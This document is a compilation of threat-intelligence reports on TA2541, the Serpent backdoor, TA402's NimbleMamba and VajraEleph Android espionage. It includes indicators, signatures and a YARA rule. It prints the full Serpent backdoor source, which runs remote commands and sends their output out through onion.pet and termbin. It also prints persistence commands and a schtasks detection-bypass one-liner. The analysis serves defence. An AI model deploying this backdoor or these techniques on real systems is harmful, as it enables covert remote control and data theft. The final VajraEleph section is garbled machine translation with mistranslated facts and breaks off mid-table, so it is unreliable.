Discord is an increasingly popular content delivery network (CDN) used by threat actors. Although TA2541 typically uses URLs as part of the delivery, Proofpoint has also observed this actor leverage attachments in emails. For example, the threat actor may send compressed executables such as RAR attachments with an embedded executable containing URL to CDNs hosting the malware payload. Listed below is an example of a VBS file used in a recent campaign leveraging the StrReverse function and PowerShell s RemoteSigned functionality. It is worth noting the VBS files are usually named to stay consistent with the overall email themes: fight, aircraft, fuel, yacht, charter, etc. 5/12 Figure 5: Contents of a sample VBS file. Deobfuscated command: https://paste[.]ee/r/01f2w/0 The figure below depicts an example from a recent campaign where the PowerShell code is hosted on the paste.ee URL. 6/12 Figure 6: Paste URL example. Persistence: Typically, TA2541 will use Visual Basic Script (VBS) files to establish persistence with one of their favorite payloads, AsyncRAT. This is accomplished by adding the VBS file in the startup directory which points to a PowerShell script. Note: the VBS and PowerShell file names used are mostly named to mimic Windows or system functionality. Examples from recent campaigns include: Persistence Example: C:\Users[User]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SystemFramework64Bits.vbs Contents of VBS file: Set Obj = CreateObject("WScript.Shell") Obj.Run "PowerShell -ExecutionPolicy RemoteSigned -File " & "C:\Users\ [User]\AppData\Local\Temp\RemoteFramework64.ps1", 0 Other Recent VBS File Names Observed UserInterfaceLogin.vbs HandlerUpdate64Bits.vbs 7/12 WindowsCrashReportFix.vbs SystemHardDrive.vbs TA2541 has also established persistence by creating scheduled tasks and adding entries in the registry. For instance, in November 2021 TA2541 distributed the payload Imminent Monitor using both of these methods. In recent campaigns, vjw0rm and STRRAT also leveraged task creation and adding entries to the registry. For example: Scheduled Task: schtasks.exe /Create /TN "Updates\BQVIiVtepLtz" /XML C:\Users\ [User]\AppData\Local\Temp\tmp7CF8.tmp schtasks /create /sc minute /mo 1 /tn Skype /tr "C:\Users\ [Use]\AppData\Roaming\xubntzl.txt" Registry: Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchost Data: C:\Users[User]\AppData\Roaming\server\server.exe Key: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\xubntzl Data: C:\Users\User\AppData\Roaming\xubntzl.txt Malware Proofpoint has observed TA2541 using over a dozen different malware payloads since 2017. The threat actor uses commodity malware available for purchase on criminal forums or available in open-source repositories. Currently, TA2541 prefers AsyncRAT, but other popular RATs include NetWire, WSH RAT and Parallax. 8/12 Figure 7: Malware used by TA2541 associated with message volume. All the malware used by TA2541 can be used for information gathering purposes and to gain remote control of an infected machine. At this time, Proofpoint does not know what the threat actor s ultimate goals and objectives are once it achieves initial compromise. While AsyncRAT is the current malware of choice, TA2541 has varied its malware use each year since 2017. The threat actor will typically use just one or a handful of RATs in observed campaigns, however in 2020, Proofpoint observed TA2541 distributing over 10 different types of malware, all using the same initial infection chain. Figure 8: Distribution of TA2541 malware over time. Infrastructure 9/12 TA2541 uses Virtual Private Servers as part of their email sending infrastructure and frequently uses Dynamic DNS (DDNS) for C2 infrastructure. There are multiple patterns across the C2 infrastructure and the message artifacts. For example, historic campaigns have included the term kimjoy in the C2 domain name as well as in the threat actor reply-to address. Another striking TTP is the common pattern observed with TA2541 C2 domains and payload staging URLs containing the keywords kimjoy, h0pe, and grace . TA2541 also regularly uses the same domain registrars including Netdorm and No-IP DDNS, and hosting providers including xTom GmbH and Danilenko, Artyom. Victimology Often, campaigns contained several hundred to several thousand email messages to dozens of different organizations. Although Proofpoint has observed TA2541 targeting thousands of organizations, multiple entities across aviation, aerospace, transportation, manufacturing, and defense industries appear regularly as targets of its campaigns. There appears to be a wide distribution across recipients, indicating TA2541 does not target people with specific roles and functions. Conclusion TA2541 remains a consistent, active cybercrime threat, especially to entities in its most frequently targeted sectors. Proofpoint assesses with high confidence this threat actor will continue using the same TTPs observed in historic activity with minimal change to its lure themes, delivery, and installation. It is likely TA2541 will continue using AsyncRAT and vjw0rm in future campaigns and will likely use other commodity malware to support its objectives. Indicators of Compromise (IOCs) C2 Domains Indicator Description Date Observed joelthomas[.]linkpc[.]net AsyncRAT C2 Domain Throughout 2021 rick63[.]publicvm[.]com AsyncRAT C2 Domain January 2022 tq744[.]publicvm[.]com AsyncRAT C2 Domain January 2022 10/12 bodmas01[.]zapto[.]org AsyncRAT C2 Domain January 2022 bigdips0n[.]publicvm[.]com AsyncRAT C2 Domain December 2021 6001dc[.]ddns[.]net AsyncRAT C2 Domain September 2021 kimjoy[.]ddns[.]net Revenge RAT C2 Domain March 2021 h0pe[.]ddns[.]net AsyncRAT C2 Domain April/May 2021 e29rava[.]ddns[.]net AsyncRAT C2 Domain June 2021 akconsult[.]ddns[.]net AsyncRAT C2 Domain July 2021 grace5321[.]publicvm[.]com StrRAT C2 Domain January 2022 grace5321[.]publicvm[.]com Imminent Monitor C2 Domain November 2021 VBS SHA256 Hashes VBS SHA256 hashes observed in recent December and January campaigns. File Name: Aircrafts PN#_ALT PN#_Desc_&_Qty Details.vbs SHA256: 67250d5e5cb42df505b278e53ae346e7573ba60a06c3daac7ec05f853100e61c File Name: charters details.pdf.vbs SHA256: ebd7809cacae62bc94dfb8077868f53d53beb0614766213d48f4385ed09c73a6 File Name: charters details.pdf.vbs SHA256: 4717ee69d28306254b1affa7efc0a50c481c3930025e75366ce93c99505ded96 File Name: 4Pax Trip Details.pdf.vbs SHA256: d793f37eb89310ddfc6d0337598c316db0eccda4d30e34143c768235594a169c ET Signatures 11/12 2034978 - ET POLICY Pastebin-style Service (paste .ee) in TLS SNI 2034979 - ET HUNTING Powershell Request for paste .ee Page 2034980 - ET MALWARE Powershell with Decimal Encoded RUNPE Downloaded 2850933 - ETPRO HUNTING Double Extension VBS Download from Google Drive 2850934 - ETPRO HUNTING Double Extension PIF Download from Google Drive 2850936 - ETPRO HUNTING VBS Download from Google Drive 12/12 Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain March 18, 2022 Key Findings Proofpoint identified a targeted attack leveraging an open-source package installer Chocolatey to deliver a backdoor. The attack targeted French entities in the construction, real estate, and government industries. The attacker used a resume themed subject and lure purporting to be GDPR information. The attacker used steganography, including a cartoon image, to download and install the Serpent backdoor. The attacker also demonstrated a novel detection bypass technique using a Scheduled Task. Objectives are currently unknown however based on the tactics and targeting observed it is likely an advanced, targeted threat. Overview Proofpoint observed new, targeted activity impacting French entities in the construction and government sectors. The threat actor used macro-enabled Microsoft Word documents to distribute the Chocolatey installer package, an open-source package installer. Various parts of the VBA macro include the following ASCII art and depict a snake as below. The threat actor attempted to install a backdoor on a potential victim s device, which could enable remote administration, command and control (C2), data theft, or deliver other additional payloads. Proofpoint refers to this backdoor as Serpent. The ultimate objective of 1/10 the threat actor is currently unknown. Campaign Details In the observed campaign, messages are in French and purport to be, for example: From: "Jeanne" Subject "Candidature - Jeanne Vrakele" The messages contain a macro-enabled Microsoft Word document masquerading as information relating to the glement g ral sur la protection des donn es (RGPD) or the European Union s General Data Protection Regulations (GDPR). Figure 1: GDPR themed lure. When macros are enabled, the document executes that macro, which reaches out to an image URL, e.g., https://www.fhccu[.]com/images/ship3[.]jpg, containing a base64 encoded PowerShell script hidden in the image using steganography. The PowerShell script first downloads, installs, and updates the Chocolatey installer package and repository script. Chocolatey is a software management automation tool for Windows that wraps installers, executables, zips, and scripts into compiled packages, similar to Homebrew for OSX. The software provides both open-source and paid versions with various levels of functionality. Proofpoint has not previously observed a threat actor use Chocolatey in campaigns. 2/10 The script then uses Chocolatey to install Python, including the pip Python package installer, which it then uses to install various dependencies including PySocks, a Python based reverse proxy client that enables users to send traffic through SOCKS and HTTP proxy servers. Next, the script fetches another image file, e.g. https://www.fhccu[.]com/images/7[.]jpg, which contains a base64 encoded Python script also hidden using steganography, and saves the Python script as MicrosoftSecurityUpdate.py. The script then creates and executes a .bat file that in turn executes the Python script. The attack chain ends with a command to a shortened URL which redirects to the Microsoft Office help website. Figure 2: Swiper image with base64 encoded PowerShell script to download and install Chocolatey and Python and fetch another steganographic image. The Python script (the Serpent backdoor) is as follows: 3/10 #!/usr/bin/python3 from subprocess import Popen, PIPE, STDOUT import requests import re import socket import time cmd_url_order = 'http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd.onion.pet/index.html' cmd_url_answer = 'http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid.onion.pet/index.html' hostname = socket.gethostname() hostname_pattern = 'host:%s-00' % hostname headers = {} referer = {'Referer': hostname_pattern} cache_control = {'Cache-Control': 'no-cache'} headers.update(referer) headers.update(cache_control) check_cmd_1 = '' def recvall(sock, n): data = b'' while len(data) < n: packet = sock.recv(n - len(data)) if not packet: return None data += packet return data def get_cmd(): req = requests.get(cmd_url_order, headers=headers).content.decode().strip() if req == '': pass else: return req def run_cmd(cmd): cmd_split = cmd.split('--') if cmd_split[1] == hostname: cmd = cmd_split[2] print(cmd) run = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=STDOUT)#.decode() out = run.stdout.read() 4/10 if not out: out = b'ok' termbin_cnx = socks.socksocket() termbin_cnx = socket.socket(socket.AF_INET, socket.SOCK_STREAM) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, '172.17.0.1', '9050', True) termbin_cnx.connect(('termbin.com', 9999)) termbin_cnx.send(out) recv = termbin_cnx.recv(100000) termbin_url_created = recv.decode().rstrip('\x00').strip() print(termbin_url_created) termbin_header = {'Referer': hostname_pattern+" -- "+termbin_url_created} headers.update(termbin_header) try: push = requests.get(cmd_url_answer, headers=headers) print('executed') headers.update(referer) except Exception as e: print(e) pass else: print('not for me') while True: time.sleep(10) try: check_cmd = get_cmd() if check_cmd != check_cmd_1: time.sleep(20) print(check_cmd) run_cmd(check_cmd) check_cmd_1 = check_cmd pass except Exception as e: print(e) pass This Serpent backdoor periodically pings the order server (the first onion[.]pet URL) and expects responses of the form ----. If matches the hostname of the infected computer, the infected host runs the command provided by the order server (), which could be any Windows command as designated by the attacker, and records the output. The malware then uses PySocks to connect to the command line pastebin tool Termbin, pastes the output to a bin, and receives the bin s unique URL. Finally, the malware sends a request to the answer server (the second onion[.]pet 5/10 URL), including the hostname and bin URL in the header. This allows the attacker to monitor the bin outputs via the answer URL and see what the infected host s response was. The malware cycles through this process indefinitely. Figure 3: Serpent backdoor attack chain. Both steganographic images are hosted on what appears to be a Jamaican credit union website. 6/10 Figure 4: Image with base64 encoded Python script. The threat actor uses a Tor proxy for command and control (C2) infrastructure, for example: http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd[.]onion[.]pet/index.html Additional Tooling In addition to the images used in this attack chain Proofpoint researchers have observed and identified additional payloads being served from the same host. One of particular interest is utilizing what Proofpoint believes to be a novel application of signed binary proxy execution using schtasks.exe. Notably, this is an attempt to bypass detection by defensive measures. This command is contained within a similar Swiper image called ship.jpg after the end of file marker. schtasks.exe /CREATE /SC ONEVENT /EC application /mo *[System/EventID=777] /f /TN run /TR "calc.exe" & EVENTCREATE /ID 777 /L APPLICATION /T INFORMATION /SO DummyEvent /D "Initiatescheduled task." & schtasks.exe /DELETE /TN run /f The above command leverages schtasks.exe to create a one-time task to call a portable executable. In this case the executable is called calc.exe. The trigger for this task is contingent on the creation of a Windows event with EventID of 777. The command then creates a dummy event to trigger the task and deletes the task from the task scheduler. This peculiar application of tasking logic results in the portable executable being executed as a child process of taskhostsw.exe which is a signed Windows binary. Threat Assessment 7/10 The threat actor leveraged multiple unique behaviors and targeting suggesting this is likely an advanced, targeted threat. Leveraging Chocolatey as an initial payload may allow the threat actor to bypass threat detection mechanisms because it is a legitimate software package and would not immediately be identified as malicious. The follow-on use of legitimate Python tools observed in network traffic may also not be flagged or identified as malicious. The use of steganography in the macro and follow-on payloads is unique; Proofpoint rarely observes the use of steganography in campaigns. Additionally, the technique using schtasks.exe to execute any desired portable executable file is also unique and previously unobserved by Proofpoint threat researchers. Proofpoint does not associate this threat with a known actor or group. The ultimate objectives of the threat actor are presently unknown. Successful compromise would enable a threat actor to conduct a variety of activities, including stealing information, obtaining control of an infected host, or installing additional payloads. A Note on Highly Targeted Threats Proofpoint has a vast amount of organic threat data to pour over every day. This presents unique challenges when trying to surface interesting threats. The aforementioned campaign and the threats contained within were surfaced using Proofpoint s machine learning-enabled Campaign Discovery tool. This tool uses a custom-built deep neural network model to generate useful numeric encodings of threats based on their behavioral forensics. These encodings are then used to generate clusters of similar threats. This allows Proofpoint s threat researchers to identify campaigns, including the shared infrastructure, TTPs, and indicators of compromise that define them more easily. By clustering together threats that are alike, the tool also facilitates the discovery of anomalous or unusual threats that are not similar to any other observed threats. We lovingly refer to this tool as Camp Disco and it sports themed ascii art like all sweet tools should. 8/10 Indicators of Compromise Indicator Description https://www[.]fhccu[.]com/images/ship3[.]jpg Encoded Payload https://www[.]fhccu[.]com/images/7[.]jpg Encoded Payload http://ggfwk7yj5hus3ujdls5bjza4apkpfw5bjqbq4j6rixlogylr5x67dmid [.]onion[.]pet/index[.]html 9/10 http://mhocujuh3h6fek7k4efpxo5teyigezqkpixkbvc2mzaaprmusze6icqd [.]onion[.]pet/index[.]html http://shorturl[.]at/qzES8 ShortURL jeanne.vrakele@gmail[.]com Sender Email jean.dupontel@protonmail[.]com Sender Email no-reply@dgfip-nanterre[.]com Sender Email f988e252551fe83b5fc3749e1d844c31fad60be0c25e546c80dbb9923e03eaf2 Docm SHA256 ec8c8c44eae3360be03e88a4bc7bb03f3de8d0a298bff7250941776fcea9faab Docm SHA256 8912f7255b8f091e90083e584709cf0c69a9b55e09587f5927c9ac39447d6a19 Docm SHA256 Proofpoint detects and blocks all documents associated with the campaigns and has published the following Emerging Threat signatures: 2035303 - ET INFO Observed Chocolatey Windows Package Management Domain (chocolatey .org in TLS SNI) 2035306 - ET INFO Chocolatey Windows Package Management Installation File Retrieval 2851286 - ETPRO MALWARE Malicious Script Retrieved via Image Request 10/10 Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage proofpoint.com/us/blog/threat-insight/ugg-boots-4-sale-tale-palestinian-aligned-espionage February 2, 2022 Blog Threat Insight Ugg Boots 4 Sale: A Tale of Palestinian-Aligned Espionage February 08, 2022 Konstantin Klinger, Joshua Miller, and Georgi Mladenov Key Takeaways TA402, a likely Palestinian-aligned advance persistent threat actor, has recently engaged in campaigns leveraging a new implant, dubbed by Proofpoint analysts as NimbleMamba. NimbleMamba is likely a replacement for the group s previously used LastConn implant. These campaigns have a complex attack chain that leverages geofencing and URL redirects to legitimate sites in order to bypass detection efforts. Overview In late 2021, Proofpoint analysts identified a complex attack chain targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Over three months, Proofpoint observed three subtle variations of this attack chain. Proofpoint attributes these campaigns to TA402, an actor commonly tracked as Molerats and believed to be operating in the interest of the Palestinian Territories. Based on Proofpoint s research, TA402 is a persistent threat to organizations and governments in the Middle East, routinely updating not only their malware implants, but also their delivery methods. After publication of Proofpoint s TA402 research in June 2021, TA402 appeared to halt its activities for a short period of time, almost certainly to retool. Proofpoint researchers believe they used that time to update their implants and delivery mechanisms, using malware dubbed NimbleMamba and BrittleBush. TA402 also regularly uses geofencing techniques and varied attack chains which complicate detection efforts for defenders. Campaign Details 1/15 Figure 1. TA402 attack chain November 2021 to January 2022. In the recently observed campaigns, TA402 used spear phishing emails containing links that often lead to malicious files. Proofpoint observed three different URL types in those campaigns. Variation 1: Actor-Controlled Domain (November 2021) In a November 2021 campaign, TA402 masqueraded as the Quora website while using an actor-controlled Gmail account with an actor-controlled domain. The malicious URL, such as https[:]//www[.]uggboots4sale[.]com/news15112021.php, in the phishing email was geofenced to the targeted countries. If the target's IP address fits into the targeted region, the user would be redirected to the RAR file download containing the latest TA402 implant, NimbleMamba. If outside the target area, the user would be redirected to a legitimate news site, Figure 2. 2/15 Figure 2. Benign redirect to legitimate news site https[:]www[.]emaratalyoum[.]com. Variation 2: Dropbox URL (December 2021) In December 2021, TA402 used multiple phishing pretenses, including clickbait medical lures and ones allegedly sharing confidential geopolitical information. TA402 continued to use an actor-controlled Gmail account but shifted to Dropbox URLs to deliver the malicious RAR files containing NimbleMamba. This shift away from actor-controlled domains meant that TA402 could no longer geofence their payloads. Proofpoint discovered that TA402 is not only abusing Dropbox services for delivery of NimbleMamba, but also for malware command and control (C2). Proofpoint has shared our investigation and analysis with Dropbox prior to publication, and they took the needed actions for neutralizing the activity within their organization. Variation 3: WordPress Redirect Actor-Controlled Domain (December 2021/January 2022) In their latest campaigns, TA402 continued to use lure content customized for each of their targets but slightly adjusted their attack chain by inserting an additional actor-controlled WordPress URL. That WordPress site (Figure 3), which impersonates a news aggregator of the legitimate news site from Variation 1, likely redirects to the download site of the malicious RAR files containing NimbleMamba if the visitor is coming from an IP within the 3/15 targeted region. If the source IP address does not align with the target region, the URL will redirect the recipient to a benign website, typically an Arabic language news website (Figure Figure 3. Example WordPress site (https[:]//emaratalyoumcom[.]wordpress[.]com/) impersonating an Arabic language news aggregator. The use of geofenced URLs, Dropbox URLs and then redirect URLs demonstrate TA402 determination to blend in with legitimate email traffic and infect targets with NimbleMamba. Malware Analysis: NimbleMamba Each variant of TA402 s attack chain led to a RAR file containing one or multiple malicious compressed executables. These executables include a TA402 implant Proofpoint dubbed NimbleMamba and oftentimes an additional trojan Proofpoint named BrittleBush. NimbleMamba is almost certainly meant to replace LastConn, which Proofpoint reported about in June 2021. LastConn was likely an updated version of the SharpStage malware, reported by Cybereason in December 2020. While NimbleMamba and 4/15 LastConn have some similarities, such as being written in C#, base64 encoding within the C2 framework, and use of the Dropbox API for C2 communication, there appears to be little code overlap between the two. NimbleMamba uses guardrails to ensure that all infected victims are within TA402 s target region. NimbleMamba uses the Dropbox API for both command and control as well as exfiltration. The malware also contains multiple capabilities designed to complicate both automated and manual analysis. Based on this, Proofpoint assesses NimbleMamba is actively being developed, is well-maintained, and designed for use in highly targeted intelligence collection campaigns. For this malware analysis, Proofpoint researchers analyzed the following two samples: SHA256 Sample c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d Sample 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 NimbleMamba is written in C# and delivered as an obfuscated .NET executable using thirdparty obfuscators. Both samples analyzed used the SmartAssembly obfuscator. Additionally, the malware does basic virtual machine checks to avoid detection by looking for common strings that indicate a sample is running in a virtual environment. Guardrails NimbleMamba contains multiple guardrails to ensure that the malware only executes on targeted machines. It uses the following IP resolving web services to check the user s IP address and determine if it fits into the target region. This is done to avoid detection and 5/15 analysis. api[.]ipify[.]com (https://www.ipify.org) myexternalip[.]com (https://myexternalip.com) ip-api[.]com (https://ip-api.com) api[.]ipstack[.]com (https://ipstack.com) If the machine is unable to connect to those services, the malware will keep calling the addresses in random order, thus putting the execution in an endless loop in closed network environments. The malware will only continue executing if the country of the resolved IP address country code matches one from the following table or if the host computer has an Arabic language pack (code ) installed. Code Country Kuwait Egypt Israel Saudi Arabia Iran United Arab Emirates Tunisia Algeria Syria Qatar Jordan 6/15 Oman Palestine Lebanon Libya South Sudan Soud Sudan (Alpha-3 code, probably added by accident) Iraq Yemen Morocco Bahrain Configuration NimbleMamba s configuration is retrieved from a paste on the website JustPasteIt. NimbleMamba takes the current timestamp from an online real-time service to ensure that the timestamp matches the current time. Some computers may have modified time settings and this method ensures that the time is standardized across infections. The obtained timestamp is then used to generate a JustPasteIt URL with the algorithm in Figure 4. 7/15 Figure 4. Python implementation of NimbleMamba s JustPasteIt algorithm. When there is an active paste under the generated URL, it should look like this: 8/15 Figure 5. Example of JustePasteIt paste content. The data taken from the paste service is split by and then each split by to form the following two key-value pairs. Value ACSS IFK641c5_RQj32p_HvJF14U3eu3iQIl1vYncq-5g4aMKQAAAAAAAAAAQ6MoiJpHT88KFIEQQ2SH5 OOOO 40,1ckZnB3a45mMpRTTYplNiNmZ ACSS contains the obfuscated Dropbox account API auth key that is used for C2 communication. The malware then takes the external IP address, username and computer name retrieved earlier, writes them as comma-separated strings, base64 encodes them with stripped padding bytes and then reverses the string. The resulting string is used as a folder name that is created on the Dropbox account using their API with the API key deobfuscated (Figure 6) from the JustPasteIt post. 9/15 Figure 6. Dropbox API key deobfuscation. From there, the malware starts communicating with Dropbox to obtain a RAR file and a decoy file that is immediately displayed to the user if present. The decoy file is often an office document or PDF. The RAR file is password-protected with a password stored as the second comma-separated value in the OOOO argument from the JustPasteIt paste and dropped to the folder pointed by the first parameter in OOOO. The downloaded RAR file contains two additional executables, an updated sample of NimbleMamba along with an executable that contains a screenshot of the functionality. This technique allows for TA402 to serve additional payloads to targeted NimbleMamba victims. Pivoting on the JustPasteIt user Nefaty Benet (Researcher Note: This account is likely meant to impersonate the Israeli Prime Minister Naftali Bennett) allows us to see that the NimbleMamba campaign likely started in August 2021, two months after Proofpoint previous research. This timeframe is consistent with the compile dates of the NimbleMamba samples identified in VirusTotal. 10/15 Figure 7. Pivot to all pastes created by user Nefaty Benet. Functionality NimbleMamba has the traditional capabilities of an intelligence-gathering trojan and is likely designed to be the initial access. Functionalities include capturing screenshots and obtaining process information from the computer. Additionally, it can detect user interaction, such as looking for mouse movement. BrittleBush Trojan Later versions of the RAR files that deliver NimbleMamba also included a small trojan application Proofpoint dubbed BrittleBush (2E4671C517040CBD66A1BE0F04FB8F2AF7064FEF2B5EE5E33D1F9D347E4C419F). This trojan communicated with easyuploadservice[.]com and received commands as base64 encoded JSON structure. 11/15 Figure 8. BrittleBush JSON structure. Attribution Proofpoint attributes the campaigns to TA402 based on both technical indicators and victimology. The observed attack chains mimic historical TA402 campaigns, some of which are discussed in Proofpoint s June 2021 research. The phishing campaigns share thematic elements with historical Molerats campaigns. For example, the December 2021 campaign contained a title bearing significant similarities to a 2015 TA402 campaign reported by Kaspersky. Campaign Arabic Title Translation 2015 Kaspersky Campaign .exe Leaked conversation with the Egyptian leader of military forces Sodqi Sobhi[.]exe December 2021 Campaign Secret meeting between bin Salman and Erdogan in Qatar The campaigns observed by Proofpoint likely occurred concurrently to Zscaler s recently published research on Molerats activity targeting individuals in Palestine & Turkey and demonstrate Molerats continued ability to modify their attack chain based on their intelligence targets. The significant technical connections between the DropBox accounts used by the LastConn malware, the account used to deploy NimbleMamba, and the account used to store intelligence exfiltrated by NimbleMamba indicate that LastConn and NimbleMamba are almost certainly deployed by the same operators. This was based on the findings found during the investigation performed by Dropbox Security Team, which neutralized all the associated accounts. 12/15 Technical intelligence, including analysis of Molerats network activity from TeamCymru, indicates NimbleMamba developers operate in the interest of the Palestinian Territories. The guardrails employed by NimbleMamba demonstrate a clear focus on targeting Arabic speakers along with computers in the Middle East. Proofpoint observed campaigns targeting Middle Eastern governments, foreign policy think tanks, and a state-affiliated airline. Proofpoint assesses TA402 likely operates in support of Palestinian objectives, which is consistent with prior Proofpoint and the broader industry s previously published assessments. Conclusion TA402 continues to be an effective threat actor that demonstrates its persistence with its highly targeted campaigns focused on the Middle East. Based on the variations between campaigns delivering NimbleMamba, along with the historical pattern of developing new malware post disclosure, Proofpoint judges with moderate confidence that TA402 will continue to update both their implants and infection chains to complicate defensive efforts. Indicators of Compromise (IOCs) Type 430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44 SHA256 c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d SHA256 uggboots4sale[.]com Domain 925aff03ab009c8e7935cfa389fc7a34482184cc310a8d8f88a25d9a89711e86 SHA256 13/15 easyuploadservice[.]com Domain 2e4671c517040cbd66a1be0f04fb8f2af7064fef2b5ee5e33d1f9d347e4c419f SHA256 ET Signatures 2035112 TA402/Molerats CnC Checkin 2035113 TA402/Molerats Payload Downloaded 2035120 TA402/Molerats CnC Activity 2035121 TA402/Molerats External IP Lookup Activity 2035122 TA402/Molerats Related Malware Domain in DNS Lookup 2035123 TA402/Molerats Related Malware Domain in DNS Lookup YARA Signatures rule Proofpoint_Molerats_TA402_NimbleMamba { meta: description = "Detects .NET written NimbleMamba malware used by TA402/Molereats" author = "Proofpoint Threat Research" disclaimer = "Yara signature created for hunting purposes - not quality controlled within enterprise environment" hash1 = "430c12393a1714e3f5087e1338a3e3846ab62b18d816cc4916749a935f8dab44" hash2 = "c61fcd8bed15414529959e8b5484b2c559ac597143c1775b1cec7d493a40369d" strings: $dotnet = "#Strings" ascii $dropbox = "dropboxapi.com" ascii wide $justpaste = "justpaste.it" wide $ip_1 = "api.ipstack.com" wide 14/15 $ip_2 = "myexternalip.com" wide $ip_3 = "ip-api.com" wide $ip_4 = "api.ipify.com" wide $vm_1 = "VMware|VIRTUAL|A M I|Xen" wide $vm_2 = "Microsoft|VMWare|Virtual" wide condition: uint16be(0) == 0x4D5A and $dotnet and $dropbox and $justpaste and any of ($ip_*) and any of ($vm_*) Subscribe to the Proofpoint Blog Select 15/15 VajraEleph from South Asia - Cyber espionage against Pakistani military personnel revealed mp.weixin.qq.com/s/B0ElRhbqLzs-wGQh79fTww Original QAX Virus Response Centre Qi Anxin Virus Response Center 2022-03-30 12:00 1. Summary of the event In February 2022 , the mobile security team of Qi'anxin Virus Response Center noticed that since June 2021 , an A _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ P& T organization mainly targets PakistanThe Tanzanian military has launched organized , planned and targeted military espionage intelligence activities . _ After just nine months of attacks , the group has affected dozens of Pakistani military personnel . _ This part of the victimThe personnel are mainly Pakistani national border guards ( FC ) and special forces ( SSG ) , especially the Balochistan border guards ( FCBLN ) ; in addition _ _ _ _ Also contains a small amount of FBI ( FIA ) and police ( Police ) . _ _ _ _ _ _ _ Another attack also affected a small number of Nepalese personnel , but domestic users in China were not affected by it . Figure 1.1 Distribution of affected countries _ _ _ _ _ The organization usually uses public social platforms to find the target of concern , and combines pornographic words and other chats to induce the target users to install the specified bait chat attack application . Used for phishing attacks . Furthermore ,The attacker also published the malicious chat application on a well- known foreign app store platform , but the relevant links are now inaccessible As of the time of this report , all the attacks of this group that we have intercepted are carried out through the An d r oi d platform , and we have not found any Via the Windows platform _ _ _ _ _attack . _ _ A total of 8 malicious application download servers have been captured , and at least 5 different Android platform attack samples can be downloaded on the servers . _ _ All samples were _ _Dedicated chat software for Italian codes . We name all these captured malicious samples V a j r a Sp y . _ _ _ _ Comprehensive analysis of the attack activity characteristics , sample coding method , C2 server architecture and other clues shows that the organization has a regional power in South Asia . the background of the government , but also live with the regionOther APT tissues that jumped , such as Sidewinder Sidewinder , Manling Flower Bitter , Belly Brainworm Donot , etc. , were not significantly associated _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ ( Only with bellyworm D o no o t _ _There is a small amount of similarity ) , with strong independence and independent characteristics . Therefore , we identified this organization as a new APT organization active in South Asia . _ _ We named it King Kong Elephant , English _The document name is V a j r a E l e ph , and the organization number is A P T - Q - 4 3 . King Kong Elephant is the 15th APT organization that Qi Anxin independently discovered and first disclosed . _ _ _ 2. Load delivery _ Through the Qi Anxin Virus Response Center mobile security team and the Qi Anxin threat intelligence platform ( h t t p s : / / t i . q i a n x i n . c o m / ) joint tracking analysis found that , the earliest activities of the King Kong Elephant Organization can be traced back to June 2021 . The picture below shows the earliest payload server information of the organization that we intercepted . 1/11 Figure 2.1 Screenshot of the earliest domain name payload server discovered ( using Name Sil o registrar domain name ) _ _ _ _ _ _ In the early attacks of this group , the " short link " of the download address of the attack payload is usually sent to the target through social software such as WhatsApp . . Later , with the major socialTaiwan banned related links , and the organization switched to delivering short links to target people in the form of pictures . payload short chain address Corresponding to the actual download address h t t p s : / / c u t t . ly / q I r g C K o _ https://appz.live/ichfghbtt/crazy.apk h t t p s : / / b i t . ly / 3 B r C x N U _ https://appzshare.digital/coufgtdjvi/ZongChat(Beta).apk h t t p s : / / b i t . ly / 3 9 r o C M d _ https://apzshare.club/poahbcyskdh/cable.apk https://rebrand.ly/Cable_v2 https://appzshare.club/poahbcyskdh/cable.apk Table 1 Discovered short chains of payload delivery and their corresponding actual download addresses _ The load name servers used by this organization are all registered for less than a year , and the registrars are mainly Name Sil o and Name Cheap . _ _ _ _ _ _ _ This is in line with another recent activity in South AsiaThe activity of the advanced attack group , the brainworm , is similar . 2/11 Figure 2. 2 part of the domain name payload server who is the situation 3. Attack target _ The King Kong Elephant Group has obvious intentions to steal military intelligence , mainly targeting Pakistani military personnel , affecting dozens of military personnel who have been involved in several units . Here 's what we get from attacker C 2The photos and information of some victims' mobile phones were intercepted on the server . Figure 3.1 Stolen photos of Pakistan Frontier Guard ( FC , F ro n ti e r C o r p s ) personnel _ _ _ 3/11 Figure 3.2 Stolen photos of Pakistani Balochistan Border Guard ( FC B L N , FC Balochistan ) personnel _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.3 Information stolen from Balochistan border guards _ _ 4/11 Figure 3.4 Stolen photos of Pakistani special forces _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ Figure 3.5 Stolen photos of Pakistani police _ 5/11 Figure 3.6 Pakistani Police Stolen Information _ _ 6/11 Figure 3.7 Pakistani Federal Bureau of Investigation ( FIA , FederalInvestigationAgency ) personnel were stolen photos _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ piece Figure 3.8 Stolen Information on the Chief of Staff of the Army _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 4. Technical Analysis _ Through analysis , it is found that the attack RA T invested by the King Kong Elephant Organization is currently targeting the Android platform . _ Analysis shows that the organization has a high degree of R A T customization , and weNamed V a j r a Sp y . _ _ V a j r a Spy supports all the classic functions of espionage and stores the stolen data in a designated Google cloud storage space . _ _ _ _ _ _ function Corresponding post - stealing data 